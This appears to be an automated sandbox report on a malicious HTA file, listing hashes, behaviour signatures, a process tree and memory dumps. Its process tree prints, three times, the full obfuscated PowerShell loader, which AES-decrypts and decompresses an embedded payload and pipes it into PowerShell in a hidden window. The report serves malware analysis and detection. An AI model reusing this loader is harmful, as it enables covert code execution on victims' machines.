Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 11:26

General

  • Target

    163.5.169.28/SCAN-atoletter5.hta

  • Size

    1.1MB

  • MD5

    415d6911c9a6e92b5d3f050668592357

  • SHA1

    3f5ddfb1475a25201e443c61e31382100e8ddbae

  • SHA256

    87b6bcaa19c9631310bb28100e1ed2c9f2b982fa5aaef48186da150d8d1c4ac3

  • SHA512

    6b322e26c4724efa648713c665d6eddc4f2191d9f3a7764076ae8fc8d5f13fd2301238e7aade65b49db71b0ecadd9333af42cfa7e98ae54b554a99eafc45a055

  • SSDEEP

    1536:zA8mj3XPCeaTTQT7L/1rTrZwsvCPA68WStimr/l1vcmafSIm+lIWFiWCK4vLwwlY:zA8mrfFITQTH/1rTrZ/CPArtQ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter5.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell - }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi | powershell -
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $yZFZU = 'AAAAAAAAAAAAAAAAAAAAABE/loWPunGVG3vSzIF+4gYYuSdi25LjA3R2sRH3ANApHSXuf8bMyC29pivChWpQUF5jwS5PApifdJjbv9vkn9DXSM/2JUYmdCYx5xVByfj6pJkMegF8zwFSo8ZK3if0l/4GDPyqshuCBy2VboNRKWl2p1X2wR5J/tGkqskOVoRV3QhNnczAnEf7CRFM1Is/fdf8XSHRubMBIegNiKhoMT1yK8XvCRkWspIFFLru1FAD1Tg8XS8hfxzJUo+IMPHy+J5oTh+lTZwOZakD7TqP4Xzzik8o63NllXciiYBuevivvXZZr+HcVIgajF1z3oX4UsK+7MGliiTTvOJi1VOFAs78fIyHSsOZILhUXxYy7eZCv6zcnay7/rblIpr37qEjWFrFTxJrDCWp9YtfLzZc7b92SprQ5byOTP7PWUhcfuxubcAZXSaei2P6+m8vsNlMODSdhRkDYjzzdvO4sxrk0K6z/maPnACOkYyHI31Y8T1dYS7bXlq67DvZCqMUKg0rsj57gecSAFYjJEjQWAKcsBsRFffl9H53XWNqeXBuKXZxxa0ynQYXAcFtg9xVpjNBjS2+dkWCgPzYxTbP2CyH+Rq++bYuh6VceUfqx+txd5dRFF66O86UOmD+UADlA493qnFc7E8MNauW7Xe2rE83WcmgDH2dlqTL08iguTVfV5/fdb2BOrX7G2jBgqdD5nYvk3+8CVRlLEshXPMD8nMvXD+kdwOoH2QrJshtBLc71bgjc9yTWJFCQU0kVOUCuFP6VmmNHo2lHZ5qqsXgvDfKKalBncPVo5+5vvLnNCMTeOItEFo/OuvVdc7dryTs3ZI5GPGkyiys6MpgGWIVfP9LPNm3mr6ZHiFETvBOcE0bJsJmPvPeL8rQGUGdZdZ1hbrIzo/8rBWelUO2l4N6Fvh2sSVcyxQeAGRdUNs0c7I+WzywCuWFVtVQyKA3uyPZP9DpQiy2D598sKkcFbMNZQ7wMpZKNLYqysKmEr4OwnHBYs4WhQCGPFPt2RkbwPLeqi25Qw==';$UmUBU = 'THVtZ1BydlRUVHNScG5hU0plckh1cmtOUHlBclZZblo=';$PaMSUA = New-Object 'System.Security.Cryptography.AesManaged';$PaMSUA.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaMSUA.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaMSUA.BlockSize = 128;$PaMSUA.KeySize = 256;$PaMSUA.Key = [System.Convert]::FromBase64String($UmUBU);$UiOuV = [System.Convert]::FromBase64String($yZFZU);$GvFGJiWe = $UiOuV[0..15];$PaMSUA.IV = $GvFGJiWe;$JMerDVEst = $PaMSUA.CreateDecryptor();$LmLcRliha = $JMerDVEst.TransformFinalBlock($UiOuV, 16, $UiOuV.Length - 16);$PaMSUA.Dispose();$nJoMQCa = New-Object System.IO.MemoryStream( , $LmLcRliha );$QIpvRfP = New-Object System.IO.MemoryStream;$sWecTZomO = New-Object System.IO.Compression.GzipStream $nJoMQCa, ([IO.Compression.CompressionMode]::Decompress);$sWecTZomO.CopyTo( $QIpvRfP );$sWecTZomO.Close();$nJoMQCa.Close();[byte[]] $XhBgIX = $QIpvRfP.ToArray();$oKWZi = [System.Text.Encoding]::UTF8.GetString($XhBgIX);$oKWZi
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3112
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3584

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    b2d2f63082643349ded999cecfa34cff

    SHA1

    333535b6e56ee82995f90ea83a4ce86c523e66df

    SHA256

    e5d320b2218ea8474a94ec06ec93b1fe65fbb72cc2846dc5ac1ed7509d3b6cb4

    SHA512

    9f11ff65542ea820ddf2e8f363a09fbfb92d126e3da54fafdb74bb6fa92f082e97f4b4c4cc4dfa5965e7fbffe4e7094e84d1fbf0ba264df19b864062936a034c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_go5povy4.1sm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/624-22-0x0000000006150000-0x0000000006172000-memory.dmp

    Filesize

    136KB

  • memory/624-26-0x0000000071950000-0x0000000072100000-memory.dmp

    Filesize

    7.7MB

  • memory/624-5-0x0000000004D40000-0x0000000004D62000-memory.dmp

    Filesize

    136KB

  • memory/624-6-0x0000000005530000-0x0000000005596000-memory.dmp

    Filesize

    408KB

  • memory/624-2-0x0000000071950000-0x0000000072100000-memory.dmp

    Filesize

    7.7MB

  • memory/624-12-0x00000000055A0000-0x0000000005606000-memory.dmp

    Filesize

    408KB

  • memory/624-17-0x0000000005810000-0x0000000005B64000-memory.dmp

    Filesize

    3.3MB

  • memory/624-18-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

    Filesize

    120KB

  • memory/624-19-0x0000000005C20000-0x0000000005C6C000-memory.dmp

    Filesize

    304KB

  • memory/624-20-0x0000000006BA0000-0x0000000006C36000-memory.dmp

    Filesize

    600KB

  • memory/624-21-0x00000000060F0000-0x000000000610A000-memory.dmp

    Filesize

    104KB

  • memory/624-0-0x000000007195E000-0x000000007195F000-memory.dmp

    Filesize

    4KB

  • memory/624-23-0x00000000071F0000-0x0000000007794000-memory.dmp

    Filesize

    5.6MB

  • memory/624-4-0x0000000071950000-0x0000000072100000-memory.dmp

    Filesize

    7.7MB

  • memory/624-3-0x0000000004E90000-0x00000000054B8000-memory.dmp

    Filesize

    6.2MB

  • memory/624-1-0x00000000022B0000-0x00000000022E6000-memory.dmp

    Filesize

    216KB

  • memory/3112-47-0x0000000007770000-0x0000000007DEA000-memory.dmp

    Filesize

    6.5MB

  • memory/3584-48-0x00000000069C0000-0x0000000006A04000-memory.dmp

    Filesize

    272KB

  • memory/3584-50-0x0000000006D40000-0x0000000006DB6000-memory.dmp

    Filesize

    472KB

  • memory/3584-52-0x00000000072D0000-0x0000000007302000-memory.dmp

    Filesize

    200KB

  • memory/3584-53-0x000000006E210000-0x000000006E25C000-memory.dmp

    Filesize

    304KB

  • memory/3584-54-0x000000006E370000-0x000000006E6C4000-memory.dmp

    Filesize

    3.3MB

  • memory/3584-64-0x0000000007310000-0x000000000732E000-memory.dmp

    Filesize

    120KB

  • memory/3584-65-0x0000000007330000-0x00000000073D3000-memory.dmp

    Filesize

    652KB

  • memory/3584-66-0x0000000007430000-0x000000000743A000-memory.dmp

    Filesize

    40KB

  • memory/3584-67-0x0000000007AF0000-0x0000000007B01000-memory.dmp

    Filesize

    68KB